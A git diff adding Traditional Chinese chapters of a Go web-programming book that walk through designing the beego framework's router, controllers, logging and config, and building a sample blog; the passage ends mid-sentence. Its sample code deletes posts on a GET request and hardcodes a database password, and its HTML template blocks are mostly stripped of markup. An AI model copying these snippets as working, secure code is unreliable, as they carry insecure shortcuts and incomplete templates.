![](images/navi13.png) + +## links + * [目錄]() + * 上一章:[第十二章總結](<12.5.md>) + * 下一節:[專案規劃](<13.1.md>) diff --git a/zh-tw/13.1.md b/zh-tw/13.1.md new file mode 100644 index 000000000..297b34e02 --- /dev/null +++ b/zh-tw/13.1.md @@ -0,0 +1,53 @@ +# 13.1 專案規劃 +做任何事情都需要做好規劃,那麼我們在開發部落格系統之前,同樣需要做好專案的規劃,如何設定目錄結構,如何理解整個專案的流程圖,當我們理解了應用的執行過程,那麼接下來的設計編碼就會變得相對容易了 +## gopath 以及專案設定 +假設指定 gopath 是檔案系統的普通目錄名,當然我們可以隨便設定一個目錄名,然後將其路徑存入 GOPATH。前面介紹過 GOPATH 可以是多個目錄:在 window 系統設定環境變數;在 linux/MacOS 系統只要輸入終端命令`export gopath=/home/astaxie/gopath`,但是必須保證 gopath 這個程式碼目錄下面有三個目錄 pkg、bin、src。建立專案的原始碼放在 src 目錄下面,現在暫定我們的部落格目錄叫做 beeblog,下面是在 window 下的環境變數和目錄結構的截圖: + +![](images/13.1.gopath.png) + +圖 13.1 環境變數 GOPATH 設定 + +![](images/13.1.gopath2.png) + +圖 13.2 工作目錄在$gopath/src 下 + +## 應用程式流程圖 +部落格系統是基於模型-檢視-控制器這一設計模式的。MVC 是一種將應用程式的邏輯層和表現層進行分離的結構方式。在實踐中,由於表現層從 Go 中分離了出來,所以它允許你的網頁中只包含很少的指令碼。 + +- 模型 (Model) 代表資料結構。通常來說,模型類別將包含取出、插入、更新資料庫資料等這些功能。 +- 檢視 (View) 是展示給使用者的資訊的結構及樣式。一個檢視通常是一個網頁,但是在 Go 中,一個檢視也可以是一個頁面片段,如頁首、頁尾。它還可以是一個 RSS 頁面,或其它型別的“頁面”,Go 實現的 template 套件已經很好的實現了 View 層中的部分功能。 +- 控制器 (Controller) 是模型、檢視以及其他任何處理 HTTP 請求所必須的資源之間的中介,並產生網頁。 + +下圖顯示了專案設計中框架的資料流是如何貫穿整個系統: + +![](images/13.1.flow.png) + +圖 13.3 框架的資料流 + +1. main.go 作為應用入口,初始化一些執行部落格所需要的基本資源,配置資訊,監聽埠。 +2. 路由功能檢查 HTTP 請求,根據 URL 以及 method 來確定誰(控制層)來處理請求的轉發資源。 +3. 如果快取檔案存在,它將繞過通常的流程執行,被直接傳送給瀏覽器。 +4. 安全檢測:應用程式控制器呼叫之前,HTTP 請求和任一使用者提交的資料將被過濾。 +5. 控制器裝載模型、核心函式庫、輔助函式,以及任何處理特定請求所需的其它資源,控制器主要負責處理業務邏輯。 +6. 輸出檢視層中渲染好的即將傳送到 Web 瀏覽器中的內容。如果開啟快取,檢視首先被快取,將用於以後的常規請求。 + +## 目錄結構 +根據上面的應用程式流程設計,部落格的目錄結構設計如下: + + |——main.go 入口檔案 + |——conf 配置檔案和處理模組 + |——controllers 控制器入口 + |——models 資料庫處理模組 + |——utils 輔助函式函式庫 + |——static 靜態檔案目錄 + |——views 檢視函式庫 + +## 框架設計 +為了實現部落格的快速建立,打算基於上面的流程設計開發一個最小化的框架,框架包括路由功能、支援 REST 的控制器、自動化的範本渲染,日誌系統、配置管理等。 + +## 總結 +本小節介紹了部落格系統從設定 GOPATH 到目錄建立這樣的基礎資訊,也簡單介紹了框架結構採用的 MVC 模式,部落格系統中資料流的執行流程,最後透過這些流程設計了部落格系統的目錄結構,至此,我們基本完成一個框架的建立,接下來的幾個小節我們將會逐個實現。 +## links + * [目錄]() + * 上一節:[建構部落格系統](<13.0.md>) + * 下一節:[自訂路由器設計](<13.2.md>) diff --git a/zh-tw/13.2.md b/zh-tw/13.2.md new file mode 100644 index 000000000..6ab02a63d --- /dev/null +++ b/zh-tw/13.2.md @@ -0,0 +1,287 @@ +# 13.2 自訂路由器設計 + +## HTTP 路由 +HTTP 路由元件負責將 HTTP 請求交到對應的函式處理(或者是一個 struct 的方法),如前面小節所描述的結構圖,路由在框架中相當於一個事件處理器,而這個事件包括: + +- 使用者請求的路徑(path)(例如:/user/123,/article/123),當然還有查詢串資訊(例如?id=11) +- HTTP 的請求方法(method)(GET、POST、PUT、DELETE、PATCH 等) + +路由器就是根據使用者請求的事件資訊轉發到相應的處理函式(控制層)。 +## 預設的路由實現 +在 3.4 小節有過介紹 Go 的 http 套件的詳解,裡面介紹了 Go 的 http 套件如何設計和實現路由,這裡繼續以一個例子來說明: + +```Go + +func fooHandler(w http.ResponseWriter, r *http.Request) { + fmt.Fprintf(w, "Hello, %q", html.EscapeString(r.URL.Path)) +} + +http.HandleFunc("/foo", fooHandler) + +http.HandleFunc("/bar", func(w http.ResponseWriter, r *http.Request) { + fmt.Fprintf(w, "Hello, %q", html.EscapeString(r.URL.Path)) +}) + +log.Fatal(http.ListenAndServe(":8080", nil)) +``` + +上面的例子呼叫了 http 預設的 DefaultServeMux 來新增路由,需要提供兩個參數,第一個參數是希望使用者訪問此資源的 URL 路徑(儲存在 r.URL.Path),第二參數是即將要執行的函式,以提供使用者訪問的資源。路由的思路主要集中在兩點: + +- 新增路由資訊 +- 根據使用者請求轉發到要執行的函式 + +Go 預設的路由新增是透過函式`http.Handle`和`http.HandleFunc`等來新增,底層都是呼叫了`DefaultServeMux.Handle(pattern string, handler Handler)`,這個函式會把路由資訊儲存在一個 map 資訊中`map[string]muxEntry`,這就解決了上面說的第一點。 + +Go 監聽埠,然後接收到 tcp 連線會扔給 Handler 來處理,上面的例子預設 nil 即為`http.DefaultServeMux`,透過`DefaultServeMux.ServeHTTP`函式來進行排程,遍歷之前儲存的 map 路由資訊,和使用者訪問的 URL 進行匹配,以查詢對應註冊的處理函式,這樣就實現了上面所說的第二點。 + +```Go + +for k, v := range mux.m { + if !pathMatch(k, path) { + continue + } + if h == nil || len(k) > n { + n = len(k) + h = v.h + } +} +``` + +## beego 框架路由實現 +目前幾乎所有的 Web 應用路由實現都是基於 http 預設的路由器,但是 Go 自帶的路由器有幾個限制: + +- 不支援參數設定,例如/user/:uid 這種泛型別匹配 +- 無法很好的支援 REST 模式,無法限制訪問的方法,例如上面的例子中,使用者訪問/foo,可以用 GET、POST、DELETE、HEAD 等方式訪問 +- 一般網站的路由規則太多了,編寫繁瑣。我前面自己開發了一個 API 應用,路由規則有三十幾條,這種路由多了之後其實可以進一步簡化,透過 struct 的方法進行一種簡化 + +beego 框架的路由器基於上面的幾點限制考慮設計了一種 REST 方式的路由實現,路由設計也是基於上面 Go 預設設計的兩點來考慮:儲存路由和轉向路由 + +### 儲存路由 +針對前面所說的限制點,我們首先要解決參數支援就需要用到正則,第二和第三點我們透過一種變通的方法來解決,REST 的方法對應到 struct 的方法中去,然後路由到 struct 而不是函式,這樣在轉向路由的時候就可以根據 method 來執行不同的方法。 + +根據上面的思路,我們設計了兩個資料型別 controllerInfo(儲存路徑和對應的 struct,這裡是一個 reflect.Type 型別)和 ControllerRegistor(routers 是一個 slice 用來儲存使用者新增的路由資訊,以及 beego 框架的應用資訊) + +```Go + +type controllerInfo struct { + regex *regexp.Regexp + params map[int]string + controllerType reflect.Type +} + +type ControllerRegistor struct { + routers []*controllerInfo + Application *App +} +``` + +ControllerRegistor 對外的介面函式有 + +```Go + +func (p *ControllerRegistor) Add(pattern string, c ControllerInterface) +``` +詳細的實現如下所示: + +```Go + +func (p *ControllerRegistor) Add(pattern string, c ControllerInterface) { + parts := strings.Split(pattern, "/") + + j := 0 + params := make(map[int]string) + for i, part := range parts { + if strings.HasPrefix(part, ":") { + expr := "([^/]+)" + + //a user may choose to override the defult expression + // similar to expressjs: ‘/user/:id([0-9]+)’ + + if index := strings.Index(part, "("); index != -1 { + expr = part[index:] + part = part[:index] + } + params[j] = part + parts[i] = expr + j++ + } + } + + //recreate the url pattern, with parameters replaced + //by regular expressions. then compile the regex + + pattern = strings.Join(parts, "/") + regex, regexErr := regexp.Compile(pattern) + if regexErr != nil { + + //TODO add error handling here to avoid panic + panic(regexErr) + return + } + + //now create the Route + t := reflect.Indirect(reflect.ValueOf(c)).Type() + route := &controllerInfo{} + route.regex = regex + route.params = params + route.controllerType = t + + p.routers = append(p.routers, route) + +} +``` +### 靜態路由實現 +上面我們實現的動態路由的實現,Go 的 http 套件預設支援靜態檔案處理 FileServer,由於我們實現了自訂的路由器,那麼靜態檔案也需要自己設定,beego 的靜態資料夾路徑儲存在全域性變數 StaticDir 中,StaticDir 是一個 map 型別,實現如下: + +```Go + +func (app *App) SetStaticPath(url string, path string) *App { + StaticDir[url] = path + return app +} +``` + +應用中設定靜態路徑可以使用如下方式實現: + +```Go +beego.SetStaticPath("/img","/static/img") +``` + +### 轉向路由 + +轉向路由是基於 ControllerRegistor 裡的路由資訊來進行轉發的,詳細的實現如下程式碼所示: + +```Go +// AutoRoute +func (p *ControllerRegistor) ServeHTTP(w http.ResponseWriter, r *http.Request) { + defer func() { + if err := recover(); err != nil { + if !RecoverPanic { + // go back to panic + panic(err) + } else { + Critical("Handler crashed with error", err) + for i := 1; ; i += 1 { + _, file, line, ok := runtime.Caller(i) + if !ok { + break + } + Critical(file, line) + } + } + } + }() + var started bool + for prefix, staticDir := range StaticDir { + if strings.HasPrefix(r.URL.Path, prefix) { + file := staticDir + r.URL.Path[len(prefix):] + http.ServeFile(w, r, file) + started = true + return + } + } + requestPath := r.URL.Path + + //find a matching Route + for _, route := range p.routers { + + //check if Route pattern matches url + if !route.regex.MatchString(requestPath) { + continue + } + + //get submatches (params) + matches := route.regex.FindStringSubmatch(requestPath) + + //double check that the Route matches the URL pattern. + if len(matches[0]) != len(requestPath) { + continue + } + + params := make(map[string]string) + if len(route.params) > 0 { + //add url parameters to the query param map + values := r.URL.Query() + for i, match := range matches[1:] { + values.Add(route.params[i], match) + params[route.params[i]] = match + } + + //reassemble query params and add to RawQuery + r.URL.RawQuery = url.Values(values).Encode() + "&" + r.URL.RawQuery + //r.URL.RawQuery = url.Values(values).Encode() + } + //Invoke the request handler + vc := reflect.New(route.controllerType) + init := vc.MethodByName("Init") + in := make([]reflect.Value, 2) + ct := &Context{ResponseWriter: w, Request: r, Params: params} + in[0] = reflect.ValueOf(ct) + in[1] = reflect.ValueOf(route.controllerType.Name()) + init.Call(in) + in = make([]reflect.Value, 0) + method := vc.MethodByName("Prepare") + method.Call(in) + if r.Method == "GET" { + method = vc.MethodByName("Get") + method.Call(in) + } else if r.Method == "POST" { + method = vc.MethodByName("Post") + method.Call(in) + } else if r.Method == "HEAD" { + method = vc.MethodByName("Head") + method.Call(in) + } else if r.Method == "DELETE" { + method = vc.MethodByName("Delete") + method.Call(in) + } else if r.Method == "PUT" { + method = vc.MethodByName("Put") + method.Call(in) + } else if r.Method == "PATCH" { + method = vc.MethodByName("Patch") + method.Call(in) + } else if r.Method == "OPTIONS" { + method = vc.MethodByName("Options") + method.Call(in) + } + if AutoRender { + method = vc.MethodByName("Render") + method.Call(in) + } + method = vc.MethodByName("Finish") + method.Call(in) + started = true + break + } + + //if no matches to url, throw a not found exception + if started == false { + http.NotFound(w, r) + } +} +``` +### 使用入門 +基於這樣的路由設計之後就可以解決前面所說的三個限制點,使用的方式如下所示: + +基本的使用註冊路由: + +```Go + +beego.BeeApp.RegisterController("/", &controllers.MainController{}) +``` +參數註冊: + +```Go + +beego.BeeApp.RegisterController("/:param", &controllers.UserController{}) +``` +正則匹配: + +```Go + +beego.BeeApp.RegisterController("/users/:uid([0-9]+)", &controllers.UserController{}) +``` +## links + * [目錄]() + * 上一節:[專案規劃](<13.1.md>) + * 下一節:[controller 設計](<13.3.md>) diff --git a/zh-tw/13.3.md b/zh-tw/13.3.md new file mode 100644 index 000000000..0a30c6113 --- /dev/null +++ b/zh-tw/13.3.md @@ -0,0 +1,176 @@ + +# 13.3 controller 設計 + +傳統的 MVC 框架大多數是基於 Action 設計的字尾式對映,然而,現在 Web 流行 REST 風格的架構。儘管使用 Filter 或者 rewrite 能夠透過 URL 重寫實現 REST 風格的 URL,但是為什麼不直接設計一個全新的 REST 風格的 MVC 框架呢?本小節就是基於這種思路來講述如何從頭設計一個基於 REST 風格的 MVC 框架中的 controller,最大限度地簡化 Web 應用的開發,甚至編寫一行程式碼就可以實現“Hello, world”。 + +## controller 作用 +MVC 設計模式是目前 Web 應用開發中最常見的架構模式,透過分離 Model(模型)、View(檢視)和 Controller(控制器),可以更容易實現易於擴充套件的使用者介面(UI)。Model 指後臺回傳的資料;View 指需要渲染的頁面,通常是範本頁面,渲染後的內容通常是 HTML;Controller 指 Web 開發人員編寫的處理不同 URL 的控制器,如前面小節講述的路由就是 URL 請求轉發到控制器的過程,controller 在整個的 MVC 框架中起到了一個核心的作用,負責處理業務邏輯,因此控制器是整個框架中必不可少的一部分,Model 和 View 對於有些業務需求是可以不寫的,例如沒有資料處理的邏輯處理,沒有頁面輸出的 302 調整之類別的就不需要 Model 和 View,但是 controller 這一環節是必不可少的。 + +## beego 的 REST 設計 +前面小節介紹了路由實現了註冊 struct 的功能,而 struct 中實現了 REST 方式,因此我們需要設計一個用於邏輯處理 controller 的基底類別,這裡主要設計了兩個型別,一個 struct、一個 interface + +```Go + +type Controller struct { + Ct *Context + Tpl *template.Template + Data map[interface{}]interface{} + ChildName string + TplNames string + Layout []string + TplExt string +} + +type ControllerInterface interface { + Init(ct *Context, cn string) //初始化上下文和子類別名稱稱 + Prepare() //開始執行之前的一些處理 + Get() //method=GET 的處理 + Post() //method=POST 的處理 + Delete() //method=DELETE 的處理 + Put() //method=PUT 的處理 + Head() //method=HEAD 的處理 + Patch() //method=PATCH 的處理 + Options() //method=OPTIONS 的處理 + Finish() //執行完成之後的處理 + Render() error //執行完 method 對應的方法之後渲染頁面 +} +``` +那麼前面介紹的路由 add 函式的時候是定義了 ControllerInterface 型別,因此,只要我們實現這個介面就可以,所以我們的基底類別 Controller 實現如下的方法: + +```Go + +func (c *Controller) Init(ct *Context, cn string) { + c.Data = make(map[interface{}]interface{}) + c.Layout = make([]string, 0) + c.TplNames = "" + c.ChildName = cn + c.Ct = ct + c.TplExt = "tpl" +} + +func (c *Controller) Prepare() { + +} + +func (c *Controller) Finish() { + +} + +func (c *Controller) Get() { + http.Error(c.Ct.ResponseWriter, "Method Not Allowed", 405) +} + +func (c *Controller) Post() { + http.Error(c.Ct.ResponseWriter, "Method Not Allowed", 405) +} + +func (c *Controller) Delete() { + http.Error(c.Ct.ResponseWriter, "Method Not Allowed", 405) +} + +func (c *Controller) Put() { + http.Error(c.Ct.ResponseWriter, "Method Not Allowed", 405) +} + +func (c *Controller) Head() { + http.Error(c.Ct.ResponseWriter, "Method Not Allowed", 405) +} + +func (c *Controller) Patch() { + http.Error(c.Ct.ResponseWriter, "Method Not Allowed", 405) +} + +func (c *Controller) Options() { + http.Error(c.Ct.ResponseWriter, "Method Not Allowed", 405) +} + +func (c *Controller) Render() error { + if len(c.Layout) > 0 { + var filenames []string + for _, file := range c.Layout { + filenames = append(filenames, path.Join(ViewsPath, file)) + } + t, err := template.ParseFiles(filenames...) + if err != nil { + Trace("template ParseFiles err:", err) + } + err = t.ExecuteTemplate(c.Ct.ResponseWriter, c.TplNames, c.Data) + if err != nil { + Trace("template Execute err:", err) + } + } else { + if c.TplNames == "" { + c.TplNames = c.ChildName + "/" + c.Ct.Request.Method + "." + c.TplExt + } + t, err := template.ParseFiles(path.Join(ViewsPath, c.TplNames)) + if err != nil { + Trace("template ParseFiles err:", err) + } + err = t.Execute(c.Ct.ResponseWriter, c.Data) + if err != nil { + Trace("template Execute err:", err) + } + } + return nil +} + +func (c *Controller) Redirect(url string, code int) { + c.Ct.Redirect(code, url) +} +``` +上面的 controller 基底類別已經實現了介面定義的函式,透過路由根據 url 執行相應的 controller 的原則,會依次執行如下: + +```Go + +Init() 初始化 +Prepare() 執行之前的初始化,每個繼承的子類別可以來實現該函式 +method() 根據不同的 method 執行不同的函式:GET、POST、PUT、HEAD 等,子類別來實現這些函式,如果沒實現,那麼預設都是 403 + +Render() 可選,根據全域性變數 AutoRender 來判斷是否執行 +Finish() 執行完之後執行的操作,每個繼承的子類別可以來實現該函式 +``` +## 應用指南 +上面 beego 框架中完成了 controller 基底類別的設計,那麼我們在我們的應用中可以這樣來設計我們的方法: + +```Go + +package controllers + +import ( + "github.com/astaxie/beego" +) + +type MainController struct { + beego.Controller +} + +func (this *MainController) Get() { + this.Data["Username"] = "astaxie" + this.Data["Email"] = "astaxie@gmail.com" + this.TplNames = "index.tpl" +} +``` +上面的方式我們實現了子類別 MainController,實現了 Get 方法,那麼如果使用者透過其他的方式(POST/HEAD 等)來訪問該資源都將回傳 405,而如果是 Get 來訪問,因為我們設定了 AutoRender=true,那麼在執行完 Get 方法之後會自動執行 Render 函式,就會顯示如下介面: + +![](images/13.4.beego.png) + +index.tpl 的程式碼如下所示,我們可以看到資料的設定和顯示都是相當的簡單方便: +```html + + + + + beego welcome template + + +

Hello, world!{{.Username}},{{.Email}}

+ + + +``` + +## links + * [目錄]() + * 上一節:[自訂路由器設計](<13.2.md>) + * 下一節:[日誌和配置設計](<13.4.md>) + diff --git a/zh-tw/13.4.md b/zh-tw/13.4.md new file mode 100644 index 000000000..d9176f23b --- /dev/null +++ b/zh-tw/13.4.md @@ -0,0 +1,263 @@ +# 13.4 日誌和配置設計 + +## 日誌和配置的重要性 +前面已經介紹過日誌在我們程式開發中起著很重要的作用,透過日誌我們可以記錄除錯我們的資訊,當初介紹過一個日誌系統 seelog,根據不同的 level 輸出不同的日誌,這個對於程式開發和程式部署來說至關重要。我們可以在程式開發中設定 level 低一點,部署的時候把 level 設定高,這樣我們開發中的除錯資訊可以遮蔽掉。 + +配置模組對於應用部署牽涉到伺服器不同的一些配置資訊非常有用,例如一些資料庫配置資訊、監聽埠、監聽地址等都是可以透過配置檔案來配置,這樣我們的應用程式就具有很強的靈活性,可以透過配置檔案的配置部署在不同的機器上,可以連線不同的資料庫之類別的。 + +## beego 的日誌設計 +beego 的日誌設計部署思路來自於 seelog,根據不同的 level 來記錄日誌,但是 beego 設計的日誌系統比較輕量級,採用了系統的 log.Logger 介面,預設輸出到 os.Stdout,使用者可以實現這個介面然後透過 beego.SetLogger 設定自訂的輸出,詳細的實現如下所示: + +```Go + +// Log levels to control the logging output. +const ( + LevelTrace = iota + LevelDebug + LevelInfo + LevelWarning + LevelError + LevelCritical +) + +// logLevel controls the global log level used by the logger. +var level = LevelTrace + +// LogLevel returns the global log level and can be used in +// own implementations of the logger interface. +func Level() int { + return level +} + +// SetLogLevel sets the global log level used by the simple +// logger. +func SetLevel(l int) { + level = l +} +``` +上面這一段實現了日誌系統的日誌分級,預設的級別是 Trace,使用者透過 SetLevel 可以設定不同的分級。 + +```Go + +// logger references the used application logger. +var BeeLogger = log.New(os.Stdout, "", log.Ldate|log.Ltime) + +// SetLogger sets a new logger. +func SetLogger(l *log.Logger) { + BeeLogger = l +} + +// Trace logs a message at trace level. +func Trace(v ...interface{}) { + if level <= LevelTrace { + BeeLogger.Printf("[T] %v\n", v) + } +} + +// Debug logs a message at debug level. +func Debug(v ...interface{}) { + if level <= LevelDebug { + BeeLogger.Printf("[D] %v\n", v) + } +} + +// Info logs a message at info level. +func Info(v ...interface{}) { + if level <= LevelInfo { + BeeLogger.Printf("[I] %v\n", v) + } +} + +// Warning logs a message at warning level. +func Warn(v ...interface{}) { + if level <= LevelWarning { + BeeLogger.Printf("[W] %v\n", v) + } +} + +// Error logs a message at error level. +func Error(v ...interface{}) { + if level <= LevelError { + BeeLogger.Printf("[E] %v\n", v) + } +} + +// Critical logs a message at critical level. +func Critical(v ...interface{}) { + if level <= LevelCritical { + BeeLogger.Printf("[C] %v\n", v) + } +} +``` +上面這一段程式碼預設初始化了一個 BeeLogger 物件,預設輸出到 os.Stdout,使用者可以透過 beego.SetLogger 來設定實現了 logger 的介面輸出。這裡面實現了六個函式: + +- Trace(一般的記錄資訊,舉例如下:) + - "Entered parse function validation block" + - "Validation: entered second 'if'" + - "Dictionary 'Dict' is empty. Using default value" +- Debug(除錯資訊,舉例如下:) + - "Web page requested: http://somesite.com Params='...'" + - "Response generated. Response size: 10000. Sending." + - "New file received. Type:PNG Size:20000" +- Info(列印資訊,舉例如下:) + - "Web server restarted" + - "Hourly statistics: Requested pages: 12345 Errors: 123 ..." + - "Service paused. Waiting for 'resume' call" +- Warn(警告資訊,舉例如下:) + - "Cache corrupted for file='test.file'. Reading from back-end" + - "Database 192.168.0.7/DB not responding. Using backup 192.168.0.8/DB" + - "No response from statistics server. Statistics not sent" +- Error(錯誤資訊,舉例如下:) + - "Internal error. Cannot process request #12345 Error:...." + - "Cannot perform login: credentials DB not responding" +- Critical(致命錯誤,舉例如下:) + - "Critical panic received: .... Shutting down" + - "Fatal error: ... App is shutting down to prevent data corruption or loss" + +可以看到每個函式裡面都有對 level 的判斷,所以如果我們在部署的時候設定了 level=LevelWarning,那麼 Trace、Debug、Info 這三個函式都不會有任何的輸出,以此類推。 + +## beego 的配置設計 + +配置資訊的解析,beego 實現了一個 key=value 的配置檔案讀取,類似 ini 配置檔案的格式,就是一個檔案解析的過程,然後把解析的資料儲存到 map 中,最後在呼叫的時候通過幾個 string、int 之類別的函式呼叫回傳相應的值,具體的實現請看下面: + +首先定義了一些 ini 配置檔案的一些全域常數: + +```Go +var ( + bComment = []byte{'#'} + bEmpty = []byte{} + bEqual = []byte{'='} + bDQuote = []byte{'"'} +) +``` +定義了配置檔案的格式: + +```Go + +// A Config represents the configuration. +type Config struct { + filename string + comment map[int][]string // id: []{comment, key...}; id 1 is for main comment. + data map[string]string // key: value + offset map[string]int64 // key: offset; for editing. + sync.RWMutex +} +``` +定義了解析檔案的函式,解析檔案的過程是開啟檔案,然後一行一行的讀取,解析註釋、空行和 key=value 資料: + +```Go + +// ParseFile creates a new Config and parses the file configuration from the +// named file. +func LoadConfig(name string) (*Config, error) { + file, err := os.Open(name) + if err != nil { + return nil, err + } + + cfg := &Config{ + file.Name(), + make(map[int][]string), + make(map[string]string), + make(map[string]int64), + sync.RWMutex{}, + } + cfg.Lock() + defer cfg.Unlock() + defer file.Close() + + var comment bytes.Buffer + buf := bufio.NewReader(file) + + for nComment, off := 0, int64(1); ; { + line, _, err := buf.ReadLine() + if err == io.EOF { + break + } + if bytes.Equal(line, bEmpty) { + continue + } + + off += int64(len(line)) + + if bytes.HasPrefix(line, bComment) { + line = bytes.TrimLeft(line, "#") + line = bytes.TrimLeftFunc(line, unicode.IsSpace) + comment.Write(line) + comment.WriteByte('\n') + continue + } + if comment.Len() != 0 { + cfg.comment[nComment] = []string{comment.String()} + comment.Reset() + nComment++ + } + + val := bytes.SplitN(line, bEqual, 2) + if bytes.HasPrefix(val[1], bDQuote) { + val[1] = bytes.Trim(val[1], `"`) + } + + key := strings.TrimSpace(string(val[0])) + cfg.comment[nComment-1] = append(cfg.comment[nComment-1], key) + cfg.data[key] = strings.TrimSpace(string(val[1])) + cfg.offset[key] = off + } + return cfg, nil +} +``` +下面實現了一些讀取配置檔案的函式,回傳的值確定為 bool、int、float64 或 string: + +```Go + +// Bool returns the boolean value for a given key. +func (c *Config) Bool(key string) (bool, error) { + return strconv.ParseBool(c.data[key]) +} + +// Int returns the integer value for a given key. +func (c *Config) Int(key string) (int, error) { + return strconv.Atoi(c.data[key]) +} + +// Float returns the float value for a given key. +func (c *Config) Float(key string) (float64, error) { + return strconv.ParseFloat(c.data[key], 64) +} + +// String returns the string value for a given key. +func (c *Config) String(key string) string { + return c.data[key] +} +``` +## 應用指南 +下面這個函式是我一個應用中的例子,用來取得遠端 url 地址的 json 資料,實現如下: + +```Go + +func GetJson() { + resp, err := http.Get(beego.AppConfig.String("url")) + if err != nil { + beego.Critical("http get info error") + return + } + defer resp.Body.Close() + body, err := ioutil.ReadAll(resp.Body) + err = json.Unmarshal(body, &AllInfo) + if err != nil { + beego.Critical("error:", err) + } +} +``` +函式中呼叫了框架的日誌函式`beego.Critical`函式用來報錯,呼叫了`beego.AppConfig.String("url")`用來取得配置檔案中的資訊,配置檔案的資訊如下(app.conf): + +```Go + +appname = hs +url ="http://www.api.com/api.html" +``` + +## links + * [目錄]() + * 上一節:[controller 設計](<13.3.md>) + * 下一節:[實現部落格的增刪改](<13.5.md>) diff --git a/zh-tw/13.5.md b/zh-tw/13.5.md new file mode 100644 index 000000000..e8da26a3e --- /dev/null +++ b/zh-tw/13.5.md @@ -0,0 +1,282 @@ + +# 13.5 實現部落格的增刪改 + +前面介紹了 beego 框架實現的整體構思以及部分實現的虛擬碼,這小節介紹透過 beego 建立一個部落格系統,包括部落格瀏覽、新增、修改、刪除等操作。 +## 部落格目錄 +部落格目錄如下所示: + + . + ├── controllers + │   ├── delete.go + │   ├── edit.go + │   ├── index.go + │   ├── new.go + │   └── view.go + ├── main.go + ├── models + │   └── model.go + └── views + ├── edit.tpl + ├── index.tpl + ├── layout.tpl + ├── new.tpl + └── view.tpl + +## 部落格路由 +部落格主要的路由規則如下所示: + +```Go + +//顯示部落格首頁 +beego.Router("/", &controllers.IndexController{}) +//檢視部落格詳細資訊 +beego.Router("/view/:id([0-9]+)", &controllers.ViewController{}) +//建立部落格博文 +beego.Router("/new", &controllers.NewController{}) +//刪除博文 +beego.Router("/delete/:id([0-9]+)", &controllers.DeleteController{}) +//編輯博文 +beego.Router("/edit/:id([0-9]+)", &controllers.EditController{}) +``` + +## 資料庫結構 +資料庫設計最簡單的部落格資訊 +```sql + +CREATE TABLE entries ( + id INT AUTO_INCREMENT, + title TEXT, + content TEXT, + created DATETIME, + primary key (id) +); +``` +## 控制器 +IndexController: + +```Go + +type IndexController struct { + beego.Controller +} + +func (this *IndexController) Get() { + this.Data["blogs"] = models.GetAll() + this.Layout = "layout.tpl" + this.TplName = "index.tpl" +} +``` +ViewController: + +```Go + +type ViewController struct { + beego.Controller +} + +func (this *ViewController) Get() { + id, _ := strconv.Atoi(this.Ctx.Input.Params()[":id"]) + this.Data["Post"] = models.GetBlog(id) + this.Layout = "layout.tpl" + this.TplName = "view.tpl" +} +``` +NewController + +```Go + +type NewController struct { + beego.Controller +} + +func (this *NewController) Get() { + this.Layout = "layout.tpl" + this.TplName = "new.tpl" +} + +func (this *NewController) Post() { + inputs := this.Input() + var blog models.Blog + blog.Title = inputs.Get("title") + blog.Content = inputs.Get("content") + blog.Created = time.Now() + models.SaveBlog(blog) + this.Ctx.Redirect(302, "/") +} +``` +EditController + +```Go + +type EditController struct { + beego.Controller +} + +func (this *EditController) Get() { + id, _ := strconv.Atoi(this.Ctx.Input.Params()[":id"]) + this.Data["Post"] = models.GetBlog(id) + this.Layout = "layout.tpl" + this.TplName = "edit.tpl" +} + +func (this *EditController) Post() { + inputs := this.Input() + var blog models.Blog + blog.Id, _ = strconv.Atoi(inputs.Get("id")) + blog.Title = inputs.Get("title") + blog.Content = inputs.Get("content") + blog.Created = time.Now() + models.SaveBlog(blog) + this.Ctx.Redirect(302, "/") +} +``` +DeleteController + +```Go + +type DeleteController struct { + beego.Controller +} + +func (this *DeleteController) Get() { + id, _ := strconv.Atoi(this.Ctx.Input.Params()[":id"]) + blog := models.GetBlog(id) + this.Data["Post"] = blog + models.DelBlog(blog) + this.Ctx.Redirect(302, "/") +} +``` +## model 層 + +```Go + +package models + +import ( + "database/sql" + "github.com/astaxie/beedb" + _ "github.com/ziutek/mymysql/godrv" + "time" +) + +type Blog struct { + Id int `PK` + Title string + Content string + Created time.Time +} + +func GetLink() beedb.Model { + db, err := sql.Open("mymysql", "blog/astaxie/123456") + if err != nil { + panic(err) + } + orm := beedb.New(db) + return orm +} + +func GetAll() (blogs []Blog) { + db := GetLink() + db.FindAll(&blogs) + return +} + +func GetBlog(id int) (blog Blog) { + db := GetLink() + db.Where("id=?", id).Find(&blog) + return +} + +func SaveBlog(blog Blog) (bg Blog) { + db := GetLink() + db.Save(&blog) + return bg +} + +func DelBlog(blog Blog) { + db := GetLink() + db.Delete(&blog) + return +} +``` + +## view 層 + +layout.tpl +```html + + + + My Blog + + + + + + +{{.LayoutContent}} + + + +``` + +index.tpl +```html + +

Blog posts

+ + +``` +view.tpl +```html + +

{{.Post.Title}}

+{{.Post.Created}}
+ +{{.Post.Content}} +``` +new.tpl +```html + +

New Blog Post

+
+標題:
+內容: + +
+``` +edit.tpl +```html + +

Edit {{.Post.Title}}

+ +

New Blog Post

+
+標題:
+內容: + + +
+``` +## links + * [目錄]() + * 上一節:[日誌和配置設計](<13.4.md>) + * 下一節:[小結](<13.6.md>) + diff --git a/zh-tw/13.6.md b/zh-tw/13.6.md new file mode 100644 index 000000000..007f04dd2 --- /dev/null +++ b/zh-tw/13.6.md @@ -0,0 +1,7 @@ +# 13.6 小結 +這一章我們主要介紹了如何實現一個基礎的 Go 語言框架,框架包含有路由設計,由於 Go 內建的 http 套件中路由的一些不足點,我們設計了動態路由規則,然後介紹了 MVC 模式中的 Controller 設計,controller 實現了 REST 的實現,這個主要思路來源於 tornado 框架,然後設計實現了範本的 layout 以及自動化渲染等技術,主要採用了 Go 內建的範本引擎,最後我們介紹了一些輔助的日誌、配置等資訊的設計,透過這些設計我們實現了一個基礎的框架 beego,目前該框架已經開源在 GitHub,最後我們透過 beego 實現了一個部落格系統,透過範例程式碼詳細的展現了如何快速的開發一個站點。 + +## links + * [目錄]() + * 上一節:[實現部落格的增刪改](<13.5.md>) + * 下一章:[擴充套件 Web 框架](<14.0.md>) diff --git a/zh-tw/14.0.md b/zh-tw/14.0.md new file mode 100644 index 000000000..45f0e94eb --- /dev/null +++ b/zh-tw/14.0.md @@ -0,0 +1,12 @@ +# 14 擴充套件 Web 框架 +第十三章介紹了如何開發一個 Web 框架,透過介紹 MVC、路由、日誌處理、配置處理完成了一個基本的框架系統,但是一個好的框架需要一些方便的輔助工具來快速的開發 Web,那麼我們這一章將就如何提供一些快速開發 Web 